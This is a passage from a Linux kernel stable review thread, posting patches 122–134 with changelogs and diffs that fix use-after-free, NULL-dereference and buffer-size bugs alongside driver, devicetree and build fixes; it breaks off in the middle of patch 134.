lib/crypto/arm64/poly1305-armv8.pl +1 -1
@@ -375,7 +375,7 @@ poly1305_blocks_neon: adc $h1,$h1,xzr lsr $h2,x14,#24 adds $h1,$h1,x14,lsl#40 - adc $d2,$h2,xzr // can be partially reduced... + adc $h2,$h2,xzr // preserve carry into top limb ldp $d0,$d1,[$inp],#16 // load input sub $len,$len,#16
Greg Kroah-Hartman
maintainerPATCH 122/242 lib/crypto: poly1305: Use memzero_explicit() in poly1305_final()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Eric Biggers <[email protected]>
commit da619121a5d271e78ec709a1f9a3c5f99b9e10ad upstream.
Use memzero_explicit() instead of a plain struct assignment to guarantee zeroization of the 'struct poly1305_desc_ctx'.
Note that dead store elimination was only theoretically possible with link-time optimization here. But it's still worth fixing.
--- lib/crypto/poly1305.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
lib/crypto/poly1305.c +1 -1
@@ -78,7 +78,7 @@ void poly1305_final(struct poly1305_desc }poly1305_emit (&desc->state.h, dst, desc->s); - *desc = (struct poly1305_desc_ctx ){}; +memzero_explicit (desc,sizeof (*desc)); }EXPORT_SYMBOL (poly1305_final);
Greg Kroah-Hartman
maintainerPATCH 123/242 mshv_vtl: Check per-CPU register page before mmap
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hardik Garg <[email protected]>
commit 874194a8de75fc2f4d1fb70c670b289b7e48f93e upstream.
Register-page setup is optional for each CPU. If allocation or registration fails, mshv_vtl_configure_reg_page() warns and leaves that CPU's reg_page NULL, but initial context setup continues successfully. Meanwhile, successful setup on another CPU sets the global mshv_has_reg_page flag.
mshv_vtl_fault() checks this global flag before selecting the requested CPU's register page. With mixed setup results across online CPUs, the check passes even for a CPU with no register page, reaching get_page(NULL) when userspace faults in that mapping.
Check the selected per-CPU register page before taking its reference and return VM_FAULT_SIGBUS if it is absent.
--- drivers/hv/mshv_vtl_main.c | 3 +++ 1 file changed, 3 insertions(+)
drivers/hv/mshv_vtl_main.c +3 -0
@@ -819,6 +819,9 @@ static vm_fault_t mshv_vtl_fault(structreturn VM_FAULT_NOPAGE ; } +if (!page) +return VM_FAULT_SIGBUS ; +get_page (page); vmf->page = page;
Greg Kroah-Hartman
maintainerPATCH 124/242 net/sched: fix use-after-free in __tcf_action_put()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jérémy Jean <[email protected]>
commit 7b16eb911091aae237a8673da94e4dfb9cd21d54 upstream.
__tcf_action_put() decrements the reference count before decrementing the binding count. Another thread can free the action between these operations, causing the binding-count update to access freed memory. KASAN reports it as:
BUG: KASAN: slab-use-after-free in __tcf_action_put+0x327/0x340 Write of size 4 at addr ff11000000d46420 by task tc-put-pause/64
Hold the action IDR mutex across both counter updates and IDR removal, keeping cleanup outside the lock.
--- net/sched/act_api.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-)
net/sched/act_api.c +5 -6
@@ -372,9 +372,10 @@ static int __tcf_action_put(struct tc_ac {struct tcf_idrinfo *idrinfo = p->idrinfo; -if (refcount_dec_and_mutex_lock (&p->tcfa_refcnt, &idrinfo->lock)) { -if (bind) -atomic_dec (&p->tcfa_bindcnt); +mutex_lock (&idrinfo->lock); +if (bind) +atomic_dec (&p->tcfa_bindcnt); +if (refcount_dec_and_test (&p->tcfa_refcnt)) {idr_remove (&idrinfo->action_idr, p->tcfa_index);mutex_unlock (&idrinfo->lock);
@@ -382,9 +383,7 @@ static int __tcf_action_put(struct tc_acreturn 1 ; } -if (bind) -atomic_dec (&p->tcfa_bindcnt); - +mutex_unlock (&idrinfo->lock);return 0 ; }
Greg Kroah-Hartman
maintainerPATCH 125/242 net: rds: fix uninitialized trans dereference in CM event handler
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aohan Mei <[email protected]>
commit 492ba6ac1b1ffb8a06ff52db0825c1af2cdb28c8 upstream.
rds_rdma_cm_event_handler_cmn() assigns trans only when the RDMA device is an InfiniBand CA (RDMA_NODE_IB_CA). On any other device type, e.g. an iWARP RNIC such as siw, trans stays uninitialized, but the event switch dereferences it: unconditionally in the RDMA_CM_EVENT_CONNECT_REQUEST case via trans->cm_handle_connect(), and (with a connection context) in the ROUTE_RESOLVED and ESTABLISHED cases.
An RDS listener on an iWARP device therefore crashes the kernel as soon as a connect request arrives: with CONFIG_INIT_STACK_ALL_ZERO the wild load becomes a NULL dereference at offset 0xa0 (&trans->cm_handle_connect) in the iw_cm_wq workqueue.
GCC masks the bug in default builds by folding the uninitialized load into &rds_ib_transport; Clang-built kernels take the real uninitialized path and oops.
The active side can land on a non-IB device too: the id that rds_ib_conn_path_connect() creates is not restricted to a node type, so rdma_resolve_addr() binds it to whichever device serves the local address, and an iWARP RNIC on the same netdev qualifies. The crash there is different: resolving a route on an iWARP id never fills in cm_id->route.path_rec, and the ROUTE_RESOLVED case writes path_rec[0].sl before it calls into the transport.
The iWARP transport was dropped long ago and IB is the only transport left, so make that explicit: initialize trans to &rds_ib_transport at declaration, drop the conditional assignment, reject a connect request that arrives on a non-IB device, and drop a connection whose address resolved to one instead of resolving a route on it. The rejection is limited to RDMA_CM_EVENT_CONNECT_REQUEST on purpose: a non-zero return from the handler makes rdma_cm destroy the id the event was delivered on, which is right for the request's freshly created id but would free a connection id that RDS still owns for any other event. On the active side the id stays ic->i_cm_id and the connection's shutdown destroys it, so that case returns 0.
[achender: reject only on RDMA_CM_EVENT_CONNECT_REQUEST instead of
bailing out for every event on a non-IB device, so that rdma_cm does not destroy connection ids RDS still tracks; drop a connection whose address resolved to a non-IB device before a route is resolved on it; changelog adjusted]
--- net/rds/rdma_transport.c | 26 ++++++++++++++++++++++---- 1 file changed, 22 insertions(+), 4 deletions(-)
net/rds/rdma_transport.c +22 -4
@@ -52,7 +52,7 @@ static int rds_rdma_cm_event_handler_cmn {/* this can be null in the listening path */ struct rds_connection *conn = cm_id->context; -struct rds_transport *trans; +struct rds_transport *trans = &rds_ib_transport;int ret =0 ;int *err;u8 len;
@@ -60,9 +60,6 @@ static int rds_rdma_cm_event_handler_cmnrdsdebug ("conn %p id %p handling event %u (%s)\n" , conn, cm_id, event->event,rdma_event_msg (event->event)); -if (cm_id->device->node_type ==RDMA_NODE_IB_CA ) - trans = &rds_ib_transport; -/* Prevent shutdown from tearing down the connection * while we're executing. */ if (conn) {
@@ -82,11 +79,32 @@ static int rds_rdma_cm_event_handler_cmnswitch (event->event) {case RDMA_CM_EVENT_CONNECT_REQUEST : +/* Only the IB transport is supported, but RDS listens on +* every RDMA device: reject a request that arrived on any +* other kind. A non-zero return has rdma_cm destroy the +* request's id, which is what we want here and only here. +*/ +if (cm_id->device->node_type !=RDMA_NODE_IB_CA ) { + ret =1 ; +break ; + } ret = trans->cm_handle_connect (cm_id, event, isv6);break ;case RDMA_CM_EVENT_ADDR_RESOLVED :if (conn) { +/* The address resolved to a device RDS has no +* transport for. Do not go on to resolve a route: +* an iWARP route leaves cm_id->route.path_rec +* unset, which the ROUTE_RESOLVED case below +* dereferences. Drop the connection instead; the +* id is still ic->i_cm_id, so return 0 and let the +* shutdown destroy it. +*/ +if (cm_id->device->node_type !=RDMA_NODE_IB_CA ) { +rds_conn_drop (conn); +break ; + }rdma_set_service_type (cm_id, conn->c_tos);rdma_set_min_rnr_timer (cm_id,IB_RNR_TIMER_000_32 ); ret = rdma_resolve_route(cm_id,
Greg Kroah-Hartman
maintainerPATCH 126/242 pinctrl: amd: Clear S4 wake bits when firmware has _AEI
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mario Limonciello <[email protected]>
commit 1cca81a683da7f0ef2fbaf34442376044cbbad22 upstream.
Commit ffe8a0c6b552 ("pinctrl-amd: Don't clear S4 wake bits at probe") preserves firmware-programmed S4 wake sources because some PCIe devices rely on them for Wake-on-LAN. The system that motivated that change does not expose ACPI GPIO events through _AEI.
On a Chuwi CoreBook Plus, firmware exposes _AEI but also leaves the S4/S5 wake bit set for GPIO 24. This causes the machine to power back on immediately after shutdown even though Wake-on-LAN is not enabled.
GPIO register dumps show that the only relevant difference is bit 15 on GPIO 24. Clearing that bit makes the machine remain off. GPIO 24 is not itself listed in _AEI, so _AEI is not a per-pin indication of which pins the OS manages; it is a platform level signal of which wake model the firmware follows.
Use that signal to decide what to clear. Continue clearing S0i3/S3 bits on every system. Clear S4 bits when firmware exposes _AEI, indicating that the platform hands GPIO events to the OS, but preserve S4 bits when _AEI is absent so that firmware-programmed sources such as PCIe PME that bypass the GPIO IRQ wake API keep working.
A platform that exposes _AEI for some pins while routing a wake capable device through a raw GPIO not listed in _AEI would lose that wake source unless firmware re-arms it during the sleep transition. No such system has been reported.
--- drivers/pinctrl/pinctrl-amd.c | 9 +++++++++ 1 file changed, 9 insertions(+)
drivers/pinctrl/pinctrl-amd.c +9 -0
@@ -886,6 +886,15 @@ static void amd_gpio_irq_init(struct amd mask =BIT (WAKE_CNTRL_OFF_S0I3 ) |BIT (WAKE_CNTRL_OFF_S3 ); +#ifdef CONFIG_ACPI +/* +* Platforms without _AEI leave GPIO wake sources to firmware, so +* preserve their S4 wake bits. +*/ +if (acpi_has_method (ACPI_HANDLE (&gpio_dev->pdev->dev),"_AEI" )) + mask |=BIT (WAKE_CNTRL_OFF_S4 ); +#endif +for (i =0 ; i < desc->npins; i++) {int pin = desc->pins[i].number;const struct pin_desc *pd =pin_desc_get (gpio_dev->pctrl, pin);
Greg Kroah-Hartman
maintainerPATCH 127/242 power: sequencing: qcom-wcn: power off WLAN at probe
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: François Roux <[email protected]>
commit dbd674ccf30f66f5eccf637964a93910df8dbf84 upstream.
The WLAN enable GPIO is requested with GPIOD_ASIS and then kept at its current level, so that a WLAN module left powered on by the firmware is not switched off. The FIXME explains why: toggling it would take the PCIe link down, and the controller driver could not recover from that.
That reasoning held while the PCIe link was trained before the sequencer probed. Since commit b921aa3f8dec ("PCI/pwrctrl: Switch to pwrctrl create, power on/off, destroy APIs"), qcom_pcie_host_init() powers the endpoint through pwrctrl before it starts link training, and defers until the pwrctrl driver is bound. That driver cannot bind before this sequencer has probed. Power-on therefore always comes before link training, and keeping the firmware state is now harmful.
On the Microsoft Surface Pro 11 (X1E80100), the WCN7850 sits on a PCIe port without a PERST# GPIO. While pci-pwrctrl-pwrseq is not yet bound, the host init is deferred about ten times, and each attempt powers the PHY and controller back down. The later power-on only sets a GPIO that is already high, so the chip is never reset and the link never comes up:
qcom-pcie 1c08000.pcie: Device found, but not active
The endpoint is not enumerated and ath12k never probes. Bluetooth on the same chip fails too ("QCA Failed to send TLV segment (-110)").
Request the GPIO as GPIOD_OUT_LOW. The chip is then off when the sequencer probes, and pwrctrl powers it up cleanly right before link training. Drop the FIXME and the code that preserved the firmware state.
Tested on a Surface Pro 11:
- b921aa3f8dec plus a one-line version of this change: endpoint enumerated at 2.4 s, ath12k and Bluetooth working.
- next-20260929 plus this patch: "PCIe Gen.3 x2 link up" at 3.4 s, ath12k and Bluetooth working, Wi-Fi connected.
Without the change, neither kernel enumerates the endpoint.
The culprit was found by bisecting v6.17..v7.1, with the DTB and .config held constant.
--- drivers/power/sequencing/pwrseq-qcom-wcn.c | 16 +--------------- 1 file changed, 1 insertion(+), 15 deletions(-)
drivers/power/sequencing/pwrseq-qcom-wcn.c +1 -15
@@ -496,15 +496,8 @@ static int pwrseq_qcom_wcn_probe(struct platform_device *pdev)return dev_err_probe (dev,PTR_ERR (ctx->bt_gpio),"Failed to get the Bluetooth enable GPIO\n" ); -/* -* FIXME: This should actually be GPIOD_OUT_LOW, but doing so would -* cause the WLAN power to be toggled, resulting in PCIe link down. -* Since the PCIe controller driver is not handling link down currently, -* the device becomes unusable. So we need to keep this workaround until -* the link down handling is implemented in the controller driver. -*/ ctx->wlan_gpio =devm_gpiod_get_optional (dev,"wlan-enable" , -GPIOD_ASIS ); +GPIOD_OUT_LOW );if (IS_ERR (ctx->wlan_gpio))return dev_err_probe (dev,PTR_ERR (ctx->wlan_gpio),"Failed to get the WLAN enable GPIO\n" );
@@ -515,13 +508,6 @@ static int pwrseq_qcom_wcn_probe(struct platform_device *pdev)return dev_err_probe (dev,PTR_ERR (ctx->xo_clk_gpio),"Failed to get the XO_CLK GPIO\n" ); -/* -* Set direction to output but keep the current value in order to not -* disable the WLAN module accidentally if it's already powered on. -*/ -gpiod_direction_output (ctx->wlan_gpio, -gpiod_get_value_cansleep (ctx->wlan_gpio)); - ctx->clk =devm_clk_get_optional (dev,NULL );if (IS_ERR (ctx->clk)) return dev_err_probe(dev, PTR_ERR(ctx->clk),
Signature · 1 line
2.56.0
Greg Kroah-Hartman
maintainerPATCH 128/242 riscv: dts: microchip: beaglev-fire: remove double definition of gpio interrupts
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Conor Dooley <[email protected]>
commit 0f70fd6f4c1d6c1f2ea298d8dd07c4a4d5dff9af upstream.
When the irq-mux and its interrupt-map were added to the mpfs devicetree, the gpio interrupts became fixed at the SoC level rather than dependant on the design - the interrupt-map is now what varies. The beaglev-fire should have had its dts copy of the interrupts removed but did not. As a result, the mcp3564 driver does not probe, because even though it doesn't use the interrupt at present, the SPI core still looks it up. This lookup fails because the second copy of the interrupts property doesn't resolve to something valid when passed via the interrupt-map. Remove the second/incorrect set of interrupts properties.
--- .../boot/dts/microchip/mpfs-beaglev-fire.dts | 18 ------------------ 1 file changed, 18 deletions(-)
arch/riscv/boot/dts/microchip/mpfs-beaglev-fire.dts +0 -18
@@ -90,10 +90,6 @@ regulator-1v8-syzygy { }; &gpio0 { - interrupts = <13>, <14>, <15>, <16>, - <17>, <18>, <19>, <20>, - <21>, <22>, <23>, <24>, - <25>, <26>; ngpios = <14>; gpio-line-names = "", "", "", "", "", "", "", "", "", "", "", "", "SD_CARD_CS", "USER_BUTTON";
@@ -101,12 +97,6 @@ &gpio0 { }; &gpio1 { - interrupts = <27>, <28>, <29>, <30>, - <31>, <32>, <33>, <34>, - <35>, <36>, <37>, <38>, - <39>, <40>, <41>, <42>, - <43>, <44>, <45>, <46>, - <47>, <48>, <49>, <50>; ngpios = <24>; gpio-line-names = "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
@@ -115,14 +105,6 @@ &gpio1 { }; &gpio2 { - interrupts = <53>, <53>, <53>, <53>, - <53>, <53>, <53>, <53>, - <53>, <53>, <53>, <53>, - <53>, <53>, <53>, <53>, - <53>, <53>, <53>, <53>, - <53>, <53>, <53>, <53>, - <53>, <53>, <53>, <53>, - <53>, <53>, <53>, <53>; ngpios = <32>; gpio-line-names = "P8_PIN3_USER_LED_0", "P8_PIN4_USER_LED_1", "P8_PIN5_USER_LED_2", "P8_PIN6_USER_LED_3", "P8_PIN7_USER_LED_4", "P8_PIN8_USER_LED_5",
Signature · 1 line
2.56.0
Greg Kroah-Hartman
maintainerPATCH 129/242 sctp: revalidate output stream after association connect wait
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Daehyeon Ko <[email protected]>
commit b7ad72414c673ce1fa1f463e807cd4f34f8be9bf upstream.
When message interleaving is enabled, the first send waits for association establishment before building its data chunks. The wait drops the socket lock, and handshake processing can reduce the output stream count to the peer-advertised inbound stream count. sctp_stream_init() then frees the extension of every removed stream.
The sender resumes with the stream that it checked before the wait. If the peer removed that stream, sctp_outq_tail() later dereferences its NULL extension. Fatal-oops policies then panic the host.
KASAN: null-ptr-deref in range [0x38-0x3f] RIP: sctp_outq_tail+0x49e/0xaa0 Call Trace: sctp_primitive_SEND sctp_sendmsg_to_asoc sctp_sendmsg
A range check alone is insufficient. Stream reconfiguration can grow the output count again while the lock is released without recreating extensions freed by the earlier shrink. The stream can then be in range while its extension remains NULL. The send-buffer wait has the same issue.
Factor the range and extension checks into a helper and repeat both after each send-path wait that drops the socket lock. Once the lock is reacquired, the validation remains stable through data creation and queueing.
If validation fails after the connect wait, the auto-created association is already established. Return ESRCH so the existing caller path keeps it under state-machine ownership instead of freeing it directly, which would leave protocol, counter and socket state inconsistent.
--- net/sctp/socket.c | 33 +++++++++++++++++++++------------ 1 file changed, 21 insertions(+), 12 deletions(-)
net/sctp/socket.c +21 -12
@@ -1786,6 +1786,18 @@ static int sctp_sendmsg_check_sflags(strreturn 1 ; } +static int sctp_sendmsg_check_stream (struct sctp_association *asoc, +struct sctp_sndrcvinfo *sinfo) +{ +if (unlikely (sinfo->sinfo_stream >= asoc->stream.outcnt)) +return -EINVAL ; + +if (unlikely (!SCTP_SO (&asoc->stream, sinfo->sinfo_stream)->ext)) +return sctp_stream_init_ext (&asoc->stream, sinfo->sinfo_stream); + +return 0 ; +} + static int sctp_sendmsg_to_asoc(struct sctp_association *asoc, struct msghdr *msg, size_t msg_len, struct sctp_transport *transport,
@@ -1800,16 +1812,9 @@ static int sctp_sendmsg_to_asoc(struct slong timeo;int err; -if (sinfo->sinfo_stream >= asoc->stream.outcnt) { - err = -EINVAL ; + err =sctp_sendmsg_check_stream (asoc, sinfo); +if (err) goto err; - } - -if (unlikely (!SCTP_SO (&asoc->stream, sinfo->sinfo_stream)->ext)) { - err =sctp_stream_init_ext (&asoc->stream, sinfo->sinfo_stream); -if (err) - goto err; - }if (sp->disable_fragments && msg_len > asoc->frag_point) { err = -EMSGSIZE ;
@@ -1830,10 +1835,9 @@ static int sctp_sendmsg_to_asoc(struct s err =sctp_wait_for_sndbuf (asoc, transport, &timeo, msg_len);if (err) goto err; -if (unlikely (sinfo->sinfo_stream >= asoc->stream.outcnt)) { - err = -EINVAL ; + err =sctp_sendmsg_check_stream (asoc, sinfo); +if (err) goto err; - } }if (sctp_state (asoc,CLOSED )) {
@@ -1848,6 +1852,11 @@ static int sctp_sendmsg_to_asoc(struct s err = -ESRCH ; goto err; } + err =sctp_sendmsg_check_stream (asoc, sinfo); +if (err) { + err = -ESRCH ; + goto err; + } }else { wait_connect = true; }
Greg Kroah-Hartman
maintainerPATCH 130/242 spi: imx: fix slab corruption from undersized DMA bounce buffers
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Richard Leitner <[email protected]>
commit 59eb22641f0c526dd064390b11cff99ae87c2858 upstream.
Since commit faa8e404ad8e ("spi: imx: support dynamic burst length for ECSPI DMA mode"), the driver allocates its private DMA TX/RX buffers with kzalloc(dma_len), where dma_len is only rounded up to 4 bytes, but maps, syncs and unmaps them with DMA_CACHE_ALIGNED_LEN(dma_len), i.e. rounded up to the cache line size. As a result, the DMA API operates on memory beyond the end of the allocation.
This was observed on a custom i.MX8MP platform with an mcp251xfd CAN controller under heavy RPMSG load, as a series of refcount_t warnings triggered from rpmsg_recv_done() in virtio_rpmsg_bus:
refcount_t: addition on 0; use-after-free.
refcount_t: underflow; use-after-free.
refcount_t: saturated; leaking memory.
Leading finally to an "Unable to handle kernel paging request" oops. Reproducing this problem took between 30 minutes and roughly 30 hours under the same workload.
Hardware watchpoints on the refcount of a struct rpmsg_endpoint showed it was overwritten from 2 to 1 by __pi_memcpy_generic() in the irq/155-spi2.0 thread. Additionally it was found that a "normal" rpmsg_recv_done() took 11µs +/-2µs from its kref_get to kref_put. In the error case the same sequence took about 215µs +/-10µs. Based on this, an LLM was used to identify the size mismatch fixed here.
Allocate the buffers with DMA_CACHE_ALIGNED_LEN(dma_len) so they cover the full mapped length, and use the same length for dma_sync_single_for_cpu() to stay consistent with map and unmap.
With this patch applied, the same workload ran for more than 200 hours without the problem reproducing.
--- drivers/spi/spi-imx.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-)
drivers/spi/spi-imx.c +6 -3
@@ -1578,11 +1578,13 @@ static int spi_imx_dma_tx_data_handle(st dma_data->dma_len =ALIGN (dma_data->data_len,BYTES_PER_32BITS_WORD ); } - dma_data->dma_tx_buf =kzalloc (dma_data->dma_len,GFP_KERNEL ); + dma_data->dma_tx_buf =kzalloc (DMA_CACHE_ALIGNED_LEN (dma_data->dma_len), +GFP_KERNEL );if (!dma_data->dma_tx_buf)return -ENOMEM ; - dma_data->dma_rx_buf =kzalloc (dma_data->dma_len,GFP_KERNEL ); + dma_data->dma_rx_buf =kzalloc (DMA_CACHE_ALIGNED_LEN (dma_data->dma_len), +GFP_KERNEL );if (!dma_data->dma_rx_buf) {kfree (dma_data->dma_tx_buf);return -ENOMEM ;
@@ -1920,7 +1922,8 @@ static int spi_imx_dma_package_transfer(/* Trim the DMA RX buffer and copy the actual data to rx_buf */ dma_sync_single_for_cpu (controller->dma_rx->device->dev, dma_data->dma_rx_addr, - dma_data->dma_len,DMA_FROM_DEVICE ); +DMA_CACHE_ALIGNED_LEN (dma_data->dma_len), +DMA_FROM_DEVICE );spi_imx_dma_rx_data_handle (spi_imx, dma_data, transfer->rx_buf + spi_imx->rx_offset, word_delay); spi_imx->rx_offset += dma_data->data_len;
Greg Kroah-Hartman
maintainerPATCH 131/242 tools/power turbostat: Read complete CPU lists
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ali Ahmet Memis <[email protected]>
commit c24362650f7a8573dc9a9991a034b8500af8eb19 upstream.
CPU_SUBSET_MAXCPUS accepts CPU IDs through 8191, but the sysfs and cgroup CPU-list readers stop at 1024 bytes. A fragmented cpuset or hybrid PMU CPU list can exceed that size and be truncated. initialize_cpu_set_from_sysfs() can also pass a full, non-NUL-terminated buffer to parse_cpu_str(), causing an out-of-bounds read.
Additionally, initialize_cpu_set_from_sysfs() returns with the file still open on success. It is now called once per CPU for thread_siblings_list, so large systems can leak thousands of descriptors during topology discovery.
Use getline() so both readers receive a complete, NUL-terminated line. Close and free the sysfs CPU-list resources on every path, and report malformed input from the correct buffer.
--- tools/power/x86/turbostat/turbostat.c | 44 +++++++++++++++++++--------------- 1 file changed, 25 insertions(+), 19 deletions(-)
tools/power/x86/turbostat/turbostat.c +25 -19
@@ -6316,33 +6316,35 @@ int for_all_proc_cpus(int (func) (int))#define PATH_EFFECTIVE_CPUS "/sys/fs/cgroup/cpuset.cpus.effective" -static char cpu_effective_str[1024 ]; +static char *cpu_effective_str;static int update_effective_str (bool startup) {FILE *fp; -char *pos; -char buf[1024 ]; +char *buf =NULL ; +size_t size =0 ;int ret; -if (cpu_effective_str[0 ] =='\0' && !startup) +if (!cpu_effective_str && !startup)return 0 ; fp =fopen (PATH_EFFECTIVE_CPUS ,"r" );if (!fp)return 0 ; - pos =fgets (buf,1024 , fp); -if (!pos) +if (getline (&buf, &size, fp) <0 )err (1 ,"%s: file read failed" ,PATH_EFFECTIVE_CPUS );fclose (fp); - ret =strncmp (cpu_effective_str, buf,1024 ); -if (!ret) + ret = cpu_effective_str ?strcmp (cpu_effective_str, buf) :1 ; +if (!ret) { +free (buf);return 0 ; + } -strncpy (cpu_effective_str, buf,1024 ); +free (cpu_effective_str); + cpu_effective_str = buf;return 1 ; }
@@ -8534,13 +8536,16 @@ end:return ret; } -char cpuset_buf[1024 ]; -int initialize_cpu_set_from_sysfs (cpu_set_t *cpu_set,char *sysfs_path,char *sysfs_file) +int initialize_cpu_set_from_sysfs (cpu_set_t *cpu_set,const char *sysfs_path, +const char *sysfs_file) {FILE *fp; +char *cpuset_buf =NULL ; +size_t size =0 ;char path[128 ]; +int ret =-1 ; -if (snprintf (path,128 ,"%s/%s" , sysfs_path, sysfs_file) >128 ) +if (snprintf (path,sizeof (path),"%s/%s" , sysfs_path, sysfs_file) >= (int )sizeof (path))err (-1 ,"%s %s" , sysfs_path, sysfs_file); fp =fopen (path,"r" );
@@ -8548,19 +8553,20 @@ int initialize_cpu_set_from_sysfs(cpu_sewarn ("open %s" , path);return -1 ; } -if (fread (cpuset_buf,sizeof (char ),1024 , fp) ==0 ) { +if (getline (&cpuset_buf, &size, fp) <0 ) {warn ("read %s" , sysfs_path); - goto err; + goto out; }if (parse_cpu_str (cpuset_buf, cpu_set, cpu_possible_setsize)) { -warnx ("%s: cpu str malformat %s\n" , sysfs_path, cpu_effective_str); - goto err; +warnx ("%s: cpu str malformat %s\n" , sysfs_path, cpuset_buf); + goto out; } -return 0 ; + ret =0 ; -err: +out:fclose (fp); -return -1 ; +free (cpuset_buf); +return ret; }void print_cpu_set (char *s,cpu_set_t *set)
Greg Kroah-Hartman
maintainerPATCH 132/242 tools: gpio: fix building from the top level with O=
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sasha Levin <[email protected]>
commit 52336337f1a01ad803c7f3ddb23f40222e9ad58d upstream.
"make O=<dir> tools/gpio" fails:
Makefile:27: /tools/build/Makefile.include: No such file or directory
tools/Makefile clears srctree, and the gpio Makefile only works it out again when building_out_of_srctree is not set, which the top-level Makefile sets for O= builds.
Also work out srctree when it is empty, as tools/bpf/Makefile does since commit a89b2cbf71d64 ("tools, bpf: Fix build for 'make -s tools/bpf O=<dir>'").
--- tools/gpio/Makefile | 6 ++++++ 1 file changed, 6 insertions(+)
tools/gpio/Makefile +6 -0
@@ -7,7 +7,13 @@ bindir ?= /usr/bin # isn't set and when invoked from selftests build, where srctree # is set to ".". building_out_of_srctree is undefined for in srctree # builds +ifeq ($(srctree),) +update_srctree := 1 +endif ifndef building_out_of_srctree +update_srctree := 1 +endif +ifeq ($(update_srctree),1) srctree := $(patsubst %/,%,$(dir $(CURDIR))) srctree := $(patsubst %/,%,$(dir $(srctree))) endif
Greg Kroah-Hartman
maintainerPATCH 133/242 tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Lee Jones <[email protected]>
commit a244c241593b5b38a08f0df2cb43c26574efbdcb upstream.
In check_synth_field(), when a synthetic event field is a stacktrace (field->is_stack) and the histogram field is not a "long[" stacktrace array, validation falls through to the generic size and signedness comparison.
Because parse_synth_field() sets a stacktrace field's type to "__data_loc unsigned long[]", its size is sizeof(u64) and synth_field_signed() marks it as signed. Consequently, any 8-byte signed scalar histogram field passes the fallback check, and its scalar value is subsequently dereferenced as a kernel stacktrace pointer in get_field_size() and trace_stack().
Furthermore, checking strstr(hist_field->type, "long[") is insufficient because tracepoint fields defined with __bitmask() or __rel_bitmask() also have type "__data_loc unsigned long[]" or "__rel_loc unsigned long[]", whilst create_hist_field() treats them as 4-byte scalar values without HIST_FIELD_FL_STACKTRACE.
Propagate HIST_FIELD_FL_STACKTRACE to variable references and field variables (whilst excluding variable aliases from per-element stacktrace capture), and reject any mismatch between HIST_FIELD_FL_STACKTRACE and field->is_stack in check_synth_field().
--- kernel/trace/trace_events_hist.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-)
kernel/trace/trace_events_hist.c +11 -4
@@ -2116,7 +2116,8 @@ static int init_var_ref(struct hist_fiel ref_field->size = var_field->size; ref_field->is_signed = var_field->is_signed; ref_field->flags |= var_field->flags & - (HIST_FIELD_FL_TIMESTAMP |HIST_FIELD_FL_TIMESTAMP_USECS ); + (HIST_FIELD_FL_TIMESTAMP |HIST_FIELD_FL_TIMESTAMP_USECS | +HIST_FIELD_FL_STACKTRACE );if (system) { ref_field->system =kstrdup (system,GFP_KERNEL );
@@ -3298,6 +3299,7 @@ static struct field_var *create_field_va ret =PTR_ERR (var); goto err; } + var->flags |= val->flags &HIST_FIELD_FL_STACKTRACE ; field_var = kzalloc_obj(struct field_var);if (!field_var) {
@@ -3926,7 +3928,10 @@ static int check_synth_field(struct synt && field->is_dynamic)return 0 ; -if (strstr (hist_field->type,"long[" ) && field->is_stack) +if (!!(hist_field->flags &HIST_FIELD_FL_STACKTRACE ) != field->is_stack) +return -EINVAL ; + +if (field->is_stack)return 0 ;if (strcmp (field->type, hist_field->type) !=0 ) {
@@ -4467,7 +4472,8 @@ static int create_var_field(struct hist_if (!ret && hist_data->fields[val_idx]->flags &HIST_FIELD_FL_EXECNAME )update_var_execname (hist_data->fields[val_idx]); -if (!ret && hist_data->fields[val_idx]->flags & +if (!ret && !(hist_data->fields[val_idx]->flags &HIST_FIELD_FL_ALIAS ) && + hist_data->fields[val_idx]->flags & (HIST_FIELD_FL_STRING |HIST_FIELD_FL_STACKTRACE )) hist_data->fields[val_idx]->var_str_idx = hist_data->n_var_str++;
@@ -5208,7 +5214,8 @@ static void hist_trigger_elt_update(struif (hist_field->flags &HIST_FIELD_FL_VAR ) { var_idx = hist_field->var.idx; -if (hist_field->flags & +if (!(hist_field->flags &HIST_FIELD_FL_ALIAS ) && + hist_field->flags & (HIST_FIELD_FL_STRING |HIST_FIELD_FL_STACKTRACE )) {unsigned int str_start, var_str_idx, idx;char *str, *val_str;
Greg Kroah-Hartman
maintainerPATCH 134/242 gpio: shared: fix use-after-free bug when adding shared proxies
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bartosz Golaszewski <[email protected]>
commit bd22f7e63509fa758cf500d9af3e88a3d3df96be upstream.
The GPIO lookup table can stay alive for longer than the kobject whose name string's address we're assigning to lookup->dev_id. Fix a potential UAF by duplicating the string.
--- drivers/gpio/gpiolib-shared.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-)
drivers/gpio/gpiolib-shared.c +8 -4
@@ -450,7 +450,6 @@ int gpio_shared_add_proxy_lookup(struct const char *con_id, unsigned long lflags) {const char *dev_id =dev_name (consumer); -struct gpiod_lookup_table *lookup;struct gpio_shared_entry *entry;struct gpio_shared_ref *ref;
